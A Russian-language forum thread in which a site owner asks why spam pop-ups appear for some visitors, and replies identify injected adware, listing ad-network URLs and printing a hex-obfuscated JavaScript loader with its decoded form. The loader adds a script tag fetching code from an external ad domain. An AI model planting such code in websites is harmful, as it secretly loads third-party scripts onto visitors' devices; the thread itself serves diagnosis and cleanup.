Здравствуйте! Можно ли понять по этим двум скринам почему лезет спам? Один фрилансер сдал нам сайт, и поначалу ничего подобного не наблюдалось. Сейчас постоянно лезут эти два окна, но только у двух человек на компах и на мобилах. Сам потестил на разных компах и мобилах и ни разу такого не обнаружил. На скрине, в консоли видны какие-то непонятные скрипты с "левыми" ссылками. В моей консоли такого нет. Вопрос: дело в сайте или в этих двух пользователях?
Ответы (3)
https://timeweb.com/ru/community/marketplace/urlvir - наш профиль!
https://ofgogoatan.com/apu.php?zoneid=3260072
https://pushsar.com/pfe/current/tag.min.js?z=3260077
Примерно такой код нужно найти:
var _$_13d2=["\x64\x6F\x6E\x65","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x2F\x2F\x6F\x66\x67\x6F\x67\x6F\x61\x74\x61\x6E\x2E\x63\x6F\x6D\x2F\x61\x70\x75\x2E\x70\x68\x70\x3F\x7A\x6F\x6E\x65\x69\x64\x3D\x39\x37\x37\x32\x38\x32","\x73\x74\x61\x6E\x64\x61\x6C\x6F\x6E\x65","\x6E\x61\x76\x69\x67\x61\x74\x6F\x72","\x6D\x61\x74\x63\x68\x65\x73","\x28\x64\x69\x73\x70\x6C\x61\x79\x2D\x6D\x6F\x64\x65\x3A\x20\x73\x74\x61\x6E\x64\x61\x6C\x6F\x6E\x65\x29","\x6D\x61\x74\x63\x68\x4D\x65\x64\x69\x61","\x2F\x2F\x6E\x61\x74\x69\x76\x65\x2E\x70\x72\x6F\x70\x65\x6C\x6C\x65\x72\x63\x6C\x69\x63\x6B\x2E\x63\x6F\x6D\x2F\x31\x3F\x7A\x3D\x33\x33\x32\x30\x38\x32\x35","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61\x73\x79\x6E\x63","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x64\x61\x74\x61\x2D\x63\x66\x61\x73\x79\x6E\x63","\x66\x61\x6C\x73\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];function nucnac_function(){if( typeof nucnac_function[_$_13d2[0]]!= _$_13d2[1]){return};var b=_$_13d2[2];if((window[_$_13d2[4]][_$_13d2[3]]== true)|| (window[_$_13d2[7]](_$_13d2[6])[_$_13d2[5]])){b= _$_13d2[8]};var a=document[_$_13d2[10]](_$_13d2[9]);a[_$_13d2[12]](_$_13d2[11],_$_13d2[11]);a[_$_13d2[12]](_$_13d2[13],_$_13d2[14]);a[_$_13d2[12]](_$_13d2[15],b);document[_$_13d2[18]](_$_13d2[17])[0][_$_13d2[16]](a);nucnac_function[_$_13d2[0]]= true}
Вот его расшифровка :
var _$_13d2=["done","undefined","//ofgogoatan.com/apu.php?zoneid=977282","standalone","navigator","matches","(display-mode: standalone)","matchMedia","//native.propellerclick.com/1?z=3320825";,"script","createElement","async","setAttribute","data-cfasync","false","src","appendChild","head","getElementsByTagName"];function nucnac_function(){if( typeof nucnac_function[_$_13d2[0]]!= _$_13d2[1]){return};var b=_$_13d2[2];if((window[_$_13d2[4]][_$_13d2[3]]== true)|| (window[_$_13d2[7]](_$_13d2[6])[_$_13d2[5]])){b= _$_13d2[8]};var a=document[_$_13d2[10]](_$_13d2[9]);a[_$_13d2[12]](_$_13d2[11],_$_13d2[11]);a[_$_13d2[12]](_$_13d2[13],_$_13d2[14]);a[_$_13d2[12]](_$_13d2[15],b);document[_$_13d2[18]](_$_13d2[17])[0][_$_13d2[16]](a);nucnac_function[_$_13d2[0]]= true}